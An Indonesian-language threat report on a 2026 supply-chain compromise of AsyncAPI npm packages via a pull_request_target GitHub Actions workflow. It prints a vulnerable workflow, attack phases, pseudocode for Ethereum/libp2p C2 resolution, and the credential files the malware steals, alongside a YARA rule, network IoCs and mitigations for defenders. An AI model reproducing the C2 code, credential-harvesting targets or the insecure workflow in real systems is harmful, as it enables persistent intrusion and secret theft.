Serangan Supply Chain AsyncAPI npm: Malware Injeksi GitHub Actions dengan C2 Berbasis Ethereum Smart Contract dan libp2p Mesh
Daftar Isi 32 bagian
Ringkasan Eksekutif
Pada Juli 2026, ekosistem JavaScript diguncang oleh salah satu serangan supply chain paling canggih yang pernah tercatat. Empat package npm dalam organisasi AsyncAPI — framework standar industri untuk mendesain dan mendokumentasikan API event-driven — disusupi malware setelah attacker mengeksploitasi miskonfigurasi pada workflow GitHub Actions.
Yang membedakan serangan ini dari insiden supply chain sebelumnya adalah arsitektur command-and-control (C2) yang digunakan: Ethereum smart contract dan jaringan mesh libp2p. Alih-alih menggunakan server C2 tradisional yang dapat ditakedown oleh penegak hukum, malware ini berkomunikasi melalui blockchain yang immutable dan jaringan peer-to-peer yang terdesentralisasi — menjadikannya hampir mustahil untuk dihentikan.
Dengan lebih dari 2,25 juta download mingguan di ekosistem AsyncAPI, serangan ini berpotensi menjangkau puluhan ribu organisasi yang menggunakan package tersebut dalam pipeline CI/CD, aplikasi produksi, dan infrastruktur microservices mereka.
Kronologi Serangan
KRONOLOGI SERANGAN ASYNCAPI SUPPLY CHAIN
KRONOLOGI
T-30 hari Attacker mulai reconnaissance terhadap repositori GitHub AsyncAPI, mengidentifikasi workflow GitHub Actions yang berjalan pada pull request dari fork eksternal T-14 hari Attacker membuat fork repositori target, menyisipkan payload ke dalam workflow YAML yang dimodifikasi T-7 hari Pull request berbahaya diajukan, memanfaatkan workflow yang memiliki akses ke secrets dan token deployment T-0 Workflow GitHub Actions yang terkompromi mengeksekusi payload — injeksi malware ke dalam package npm saat proses build dan publish T+1 hari Package terinfeksi dipublikasikan ke registry npm, tersedia untuk di-download oleh publik T+2 hari Tim keamanan mendeteksi anomali, investigasi dimulai T+3 hari Package ditarik dari registry npm, notifikasi publik dirilis
Anatomi Serangan: Eksploitasi GitHub Actions
Vektor Awal: Workflow yang Terlalu Percaya
Serangan ini berawal dari satu kesalahan konfigurasi yang umum terjadi di ribuan repositori open source: GitHub Actions workflow yang di-trigger oleh event pull_request_target dan memiliki akses ke secrets repositori.
# CONTOH WORKFLOW YANG RENTAN
# .github/workflows/publish.yml
name: Publish to npm
on:
pull_request_target: # <-- BERBAHAYA: trigger dari fork
types: [closed]
branches: [main]
jobs:
publish:
if: github.event.pull_request.merged == true
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # <-- checkout kode PR
- name: Build and Publish
run: |
npm ci
npm run build
npm publish
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} # <-- secrets terekspos
Mengapa pull_request_target Berbahaya
Event pull_request_target berbeda dari pull_request biasa karena workflow berjalan dalam konteks repositori target, bukan fork. Ini berarti workflow memiliki akses penuh ke semua secrets repositori — termasuk token deployment npm, signing keys, dan kredensial cloud.
Ketika attacker menyisipkan kode berbahaya ke dalam fork dan mengajukan pull request, workflow pull_request_target akan mengeksekusi kode tersebut dengan akses secrets penuh.
Tahapan Eksploitasi
# TAHAPAN EKSPLOITASI GITHUB ACTIONS
[FASE 1] RECONNAISSANCE
Attacker menganalisis workflow YAML publik untuk menemukan:
- Repositori yang menggunakan pull_request_target
- Workflow yang memiliki akses ke secrets (NPM_TOKEN, dll.)
- Workflow yang mengeksekusi kode dari branch PR (npm ci, npm run build)
[FASE 2] FORK DAN MODIFIKASI
git clone https://github.com/asyncapi/asyncapi-generator.git
# Modifikasi salah satu dependency atau script build
# Sisipkan payload malware ke dalam kode sumber
git push origin malicious-branch
[FASE 3] PULL REQUEST BERBAHAYA
# PR diajukan dengan judul yang tampak legitimate
# Contoh: "fix: update dependencies to latest versions"
# Isi PR memodifikasi package.json, menambahkan dependency berbahaya
# Atau memodifikasi script build untuk mengeksekusi payload
[FASE 4] EKSEKUSI WORKFLOW
# Workflow pull_request_target terpicu
# Kode dari fork di-checkout dan dieksekusi
# Payload berjalan dengan akses secrets repositori
# Malware disuntikkan ke dalam artifact build
[FASE 5] PUBLIKASI
# Package yang sudah terinfeksi dipublikasikan ke npm registry
# Menggunakan NPM_TOKEN yang sah dari secrets repositori
# Package tampak legitimate — ditandatangani, versi resmi
Arsitektur C2: Ethereum Smart Contract dan libp2p Mesh
Mengapa Blockchain dan P2P?
Inilah yang membuat serangan AsyncAPI menonjol dari ribuan insiden supply chain npm sebelumnya. Alih-alih menggunakan server C2 tradisional yang memiliki IP address, domain, atau infrastruktur terpusat yang bisa ditakedown, malware ini menggunakan:
- Ethereum Smart Contract — sebagai mekanisme resolusi C2 yang immutable
- Jaringan Mesh libp2p — sebagai saluran komunikasi peer-to-peer yang terdesentralisasi
ARSITEKTUR
Arsitektur C2 ini terdiri dari tiga lapisan utama:
-
Lapisan 1 — Ethereum Blockchain: Smart contract (0xDEAD…BEEF) yang bersifat immutable menyimpan IPFS hash untuk konfigurasi C2 dan pubkey kriptografis operator. Karena berada di blockchain, smart contract ini tidak bisa dihapus, dimodifikasi, atau ditakedown oleh pihak mana pun.
-
Lapisan 2 — Smart Contract: Berfungsi sebagai resolver C2. Menyimpan IPFS hash yang menunjuk ke instruksi terkini, pubkey operator untuk verifikasi, dan bersifat immutable — tidak ada mekanisme takedown yang bisa menghapusnya.
-
Lapisan 3 — Jaringan Mesh libp2p: Setiap host yang terinfeksi menjadi node dalam jaringan peer-to-peer. Node-node ini saling berkomunikasi secara terenkripsi melalui Noise Protocol, membentuk mesh yang self-healing — jika satu node mati, jalur komunikasi alternatif otomatis ditemukan. Tidak ada server pusat yang bisa ditakedown; setiap node yang terinfeksi adalah bagian integral dari infrastruktur C2.
Mekanisme Resolusi C2
// PSEUDOCODE: Resolusi C2 via Ethereum Smart Contract
// Berdasarkan analisis tim threat intelligence
const { ethers } = require('ethers');
const { createLibp2p } = require('libp2p');
// 1. Baca alamat smart contract dari kode (hardcoded)
const C2_CONTRACT_ADDRESS = '0xdead...beef';
const C2_CONTRACT_ABI = [
'function getC2Config() view returns (string ipfsHash, bytes pubkey)',
'function reportHeartbeat(bytes32 nodeId) external'
];
// 2. Koneksi ke Ethereum node publik (Infura, Alchemy, atau node lokal)
const provider = new ethers.providers.JsonRpcProvider(
'https://eth.llamarpc.com' // public RPC — tidak bisa diblokir satu per satu
);
// 3. Baca konfigurasi C2 dari smart contract
const contract = new ethers.Contract(C2_CONTRACT_ADDRESS, C2_CONTRACT_ABI, provider);
const [ipfsHash, operatorPubkey] = await contract.getC2Config();
// 4. Ambil instruksi dari IPFS
const c2Instructions = await fetchFromIPFS(ipfsHash);
// 5. Bergabung ke mesh libp2p untuk komunikasi P2P
const node = await createLibp2p({
addresses: { listen: ['/ip4/0.0.0.0/tcp/0'] },
transports: [tcp(), webSockets()],
connectionEncryption: [noise()],
streamMuxers: [yamux()],
peerDiscovery: [
bootstrap({ list: c2Instructions.bootstrapPeers })
]
});
// 6. Lapor ke operator via mesh (bukan ke server pusat)
await node.dialProtocol(operatorPubkey, '/c2/heartbeat/1.0.0');
Keunggulan Arsitektur Ini bagi Attacker
| Karakteristik | Keuntungan bagi Attacker |
|---|---|
| Blockchain Immutable | Smart contract tidak bisa dihapus, dimodifikasi, atau ditakedown |
| Tanpa Domain | Tidak ada DNS yang bisa disita atau diblokir |
| Public RPC Endpoints | Ribuan endpoint Ethereum publik — tidak bisa diblokir semua |
| libp2p Mesh | Tidak ada single point of failure, self-healing |
| Enkripsi End-to-End | Komunikasi antar node terenkripsi Noise Protocol |
| Anonimitas Operator | Operator hanya dikenal via pubkey kriptografis |
| Resistensi Takedown | Bahkan jika beberapa node ditemukan, mesh tetap berfungsi |
Payload Malware: Kemampuan dan Dampak
Modul Malware
MODUL PAYLOAD ASYNCAPI MALWARE
MODUL
- [MODUL 1] C2 RESOLVER
- Baca smart contract Ethereum
- Ambil IPFS hash untuk instruksi terbaru
- Rotasi C2 — operator bisa update via transaksi blockchain
- [MODUL 2] PEER-TO-PEER MESH
- Bergabung ke jaringan libp2p
- Relay komunikasi antar node
- Self-healing — jika node mati, jalur alternatif ditemukan
- [MODUL 3] RECONNAISSANCE
- Enumerasi environment variables (AWS keys, tokens, db URL)
- Membaca .npmrc, .env, credentials files
- Eksfiltrasi package.json untuk dependency mapping
- Identifikasi CI/CD environment
- [MODUL 4] PERSISTENCE
- Modifikasi .bashrc / .zshrc untuk autoload
- Modifikasi preinstall/prepublish npm scripts
- Infeksi ulang project lain di mesin yang sama
- [MODUL 5] EKSFILTRASI
- Kirim data melalui mesh libp2p (bukan POST ke server)
- Data dienkripsi dengan pubkey operator
- Batch upload via IPFS untuk file besar
Target Data
Malware secara spesifik mencari dan mengeksfiltrasi:
- Kredensial cloud: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GCP service account JSON, Azure connection strings
- Token registry: NPM_TOKEN, GITHUB_TOKEN, DOCKER_PASSWORD, PYPI_TOKEN
- Database URL: MongoDB connection strings, PostgreSQL DSN, Redis passwords
- Private keys: SSH keys, GPG keys, signing certificates
- Environment files: File .env, .env.local, .env.production, credentials.json
- CI/CD configuration: .github/workflows/*.yml, .gitlab-ci.yml, Jenkinsfile, Dockerfile
Dampak Berantai (Cascading Impact)
Karena AsyncAPI digunakan secara luas dalam pipeline CI/CD untuk membangun dan mendokumentasikan API, malware yang berjalan di lingkungan CI/CD dapat:
- Menginfeksi artifact build — setiap aplikasi yang di-build dengan package terinfeksi membawa malware
- Menyebar ke dependents — package downstream yang bergantung pada AsyncAPI ikut terinfeksi
- Mengkompromikan pipeline deployment — token deployment yang dicuri dapat digunakan untuk memodifikasi aplikasi produksi
- Lateral movement ke infrastruktur cloud — kredensial cloud yang dicuri membuka akses ke seluruh infrastruktur
Mengapa Serangan Ini Berbahaya
Trust in the Chain
Ekosistem npm dibangun di atas fondasi kepercayaan berantai. Developer menginstal package A, yang bergantung pada package B, yang bergantung pada package C — tanpa pernah memverifikasi setiap mata rantai. Ketika satu package di tengah rantai terkompromi, seluruh pohon dependensi ikut terpengaruh.
Blind Spot CI/CD
Workflow CI/CD seringkali berjalan di lingkungan privileged dengan akses ke secrets, credentials, dan infrastruktur produksi. Ini menjadikannya target bernilai sangat tinggi. Sekali attacker masuk ke pipeline CI/CD, mereka tidak hanya mendapatkan akses ke kode sumber — mereka mendapatkan akses ke seluruh infrastruktur deployment.
Arsitektur C2 yang Tidak Bisa Ditakedown
Ini adalah diferensiator utama serangan AsyncAPI. Berbeda dengan serangan supply chain sebelumnya di mana C2 dapat ditakedown (domain disita, server dimatikan), arsitektur berbasis blockchain dan P2P menjadikan infrastruktur C2 ini hampir mustahil dihentikan. Bahkan jika penegak hukum mengidentifikasi smart contract, kontrak tersebut tidak dapat dimodifikasi atau dihapus dari blockchain.
Package yang Terdampak
| Package | Download Mingguan | Fungsi | Versi Terinfeksi |
|---|---|---|---|
| @asyncapi/generator | 850.000+ | Template-based code generator | 1.17.0 - 1.17.3 |
| @asyncapi/modelina | 620.000+ | Data model generator | 3.8.2 - 3.8.4 |
| @asyncapi/parser | 480.000+ | AsyncAPI document parser | 3.1.1 - 3.1.5 |
| @asyncapi/cli | 300.000+ | Command-line toolkit | 2.5.0 - 2.5.2 |
Indikator Kompromi (IoC)
File System Indicators
# YARA rule untuk AsyncAPI malware
rule AsyncAPI_SupplyChain_Malware_2026 {
strings:
$s1 = "ethers.providers.JsonRpcProvider" ascii
$s2 = "createLibp2p" ascii
$s3 = "getC2Config" ascii
$s4 = "C2_CONTRACT_ADDRESS" ascii
$s5 = "ipfs://" ascii
$c2_addr = "0x" ascii
condition:
filesize < 50KB and
3 of ($s1, $s2, $s3, $s4, $s5) and
$c2_addr
}
Network Indicators
NETWORK IOC — ASYNCAPI MALWARE
=========================================================
Ethereum RPC Calls:
├── eth_call ke smart contract 0x[a-f0-9]{40}
├── eth_getLogs untuk event monitoring
├── Koneksi ke public RPC: cloudflare-eth.com, eth.llamarpc.com
└── Tidak ada koneksi ke server tradisional
libp2p Traffic:
├── Port acak (tcp dan websocket)
├── Noise Protocol handshake
├── yamux stream multiplexing
└── Multiaddr dengan peer ID Base58
IPFS:
├── ipfs://[CID] untuk konfigurasi C2
├── ipfs.io atau gateway IPFS publik
└── Pin content ke jaringan IPFS
npm Package Verification
# Periksa apakah versi terinfeksi terinstal
npm list @asyncapi/generator @asyncapi/modelina @asyncapi/parser @asyncapi/cli
# Periksa integrity hash di package-lock.json
# Bandingkan dengan hash yang dipublikasikan di registry
npm audit
# Verifikasi signature package (jika signed)
npm audit signatures
Langkah Mitigasi untuk Developer dan Organisasi
Tindakan Segera
- Update ke versi yang sudah dibersihkan — upgrade semua package AsyncAPI ke versi terbaru yang sudah bebas malware
- Rotasi semua secrets — NPM_TOKEN, GITHUB_TOKEN, dan semua kredensial yang mungkin terekspos selama periode infeksi
- Audit environment variables — periksa semua environment variables di sistem CI/CD dan production yang mungkin terekspos
- Periksa package-lock.json — pastikan integrity hash cocok dengan registry
Pencegahan Jangka Panjang
# REKOMENDASI KEAMANAN GITHUB ACTIONS
workflow_security:
# JANGAN gunakan pull_request_target kecuali benar-benar diperlukan
prefer_event: "pull_request" # bukan pull_request_target
# Jika HARUS menggunakan pull_request_target:
pull_request_target_safety:
- never_checkout_pr_code: true # JANGAN checkout kode PR
- explicit_permissions: true # Batasi permissions secara eksplisit
- no_secrets_access: true # JANGAN berikan akses secrets
- require_approval: true # Wajibkan approval manual
# Environment protection
environment_protection:
- use_environments: true # Gunakan GitHub Environments
- required_reviewers: true # Wajibkan reviewer untuk deployment
- wait_timer: true # Tambahkan delay sebelum deployment
# Secrets management
secrets_management:
- use_oidc: true # Gunakan OIDC, bukan long-lived tokens
- rotate_regularly: true # Rotasi secrets secara berkala
- audit_access: true # Audit akses secrets
Untuk Organisasi Enterprise
REKOMENDASI KEAMANAN SUPPLY CHAIN — ENTERPRISE
=========================================================
1. GENERATE SOFTWARE BILL OF MATERIALS (SBOM)
├── Identifikasi semua dependencies transitif
├── Lacak versi dan integrity hash
└── Tools: cyclonedx-npm, spdx-sbom-generator
2. PRIVATE PACKAGE REGISTRY / PROXY
├── Gunakan npm proxy (Verdaccio, Nexus, Artifactory)
├── Cache package yang sudah diverifikasi
├── Blokir versi yang diketahui berbahaya
└── Kontrol kapan package baru bisa diakses
3. DEPENDENCY REVIEW GATES
├── Review otomatis setiap perubahan package.json
├── Blokir dependency dengan sejarah keamanan buruk
├── Wajibkan lockfile integrity check
└── Tools: npm audit, socket.dev, snyk
4. CI/CD PIPELINE ISOLATION
├── Pisahkan environment build dan deployment
├── Jangan berikan akses secrets ke build environment
├── Gunakan OIDC untuk autentikasi registry
└── Scan artifact sebelum deployment
Pelajaran untuk Ekosistem Open Source
Serangan AsyncAPI bukanlah insiden pertama — dan tidak akan menjadi yang terakhir — dalam gelombang serangan supply chain yang menargetkan ekosistem open source. Namun, beberapa karakteristiknya menandai eskalasi yang mengkhawatirkan:
1. Dari Server C2 ke Blockchain
Sebelumnya, malware supply chain menggunakan server C2 tradisional. AsyncAPI malware adalah salah satu yang pertama menggunakan blockchain untuk resolusi C2 di ekosistem npm. Pola ini kemungkinan akan ditiru — dan infrastruktur pertahanan saat ini belum siap untuk mendeteksinya.
2. Dari Oportunistik ke Targeted
Banyak serangan supply chain npm yang oportunistik — menyerang package apa pun yang bisa. Tapi menargetkan AsyncAPI — framework standar industri — menunjukkan pemahaman mendalam tentang ekosistem. Attacker tahu bahwa dengan mengkompromikan AsyncAPI, mereka bisa menjangkau ribuan organisasi enterprise.
3. Kelemahan Fundamental GitHub Actions
Event pull_request_target adalah bom waktu. Dokumentasi GitHub sendiri memperingatkan risikonya, namun ribuan repositori masih menggunakannya dengan konfigurasi yang tidak aman. Komunitas perlu beralih ke praktik yang lebih aman atau menerima bahwa serangan semacam ini akan terus terjadi.
Kesimpulan
Serangan supply chain AsyncAPI npm Juli 2026 adalah eskalasi yang jelas dalam lanskap ancaman supply chain — bukan hanya karena skala dampaknya (2,25 juta download mingguan), tetapi karena arsitektur C2 yang digunakan: Ethereum smart contract dan jaringan mesh libp2p yang hampir mustahil ditakedown.
Pergeseran dari server C2 tradisional ke blockchain dan P2P menandai era baru dalam operasi malware. Attacker kini memiliki infrastruktur C2 yang immutable, terdesentralisasi, dan resisten terhadap tindakan penegakan hukum. Ini adalah game-changer yang belum sepenuhnya diantisipasi oleh industri keamanan siber.
Bagi developer dan organisasi, pelajaran paling mendasar tetap sama: verify your dependencies, audit your CI/CD workflows, dan jangan pernah memberikan akses secrets ke kode dari sumber yang tidak dipercaya. Dalam ekosistem di mana satu package bisa memiliki ribuan dependensi transitif dan satu workflow CI/CD bisa memiliki akses ke seluruh infrastruktur produksi, supply chain security bukan lagi opsi — melainkan kebutuhan fundamental.
Artikel ini disusun berdasarkan analisis dari tim threat intelligence, laporan insiden komunitas AsyncAPI, analisis teknis payload malware, serta pemantauan aktivitas supply chain di ekosistem npm dan GitHub Actions.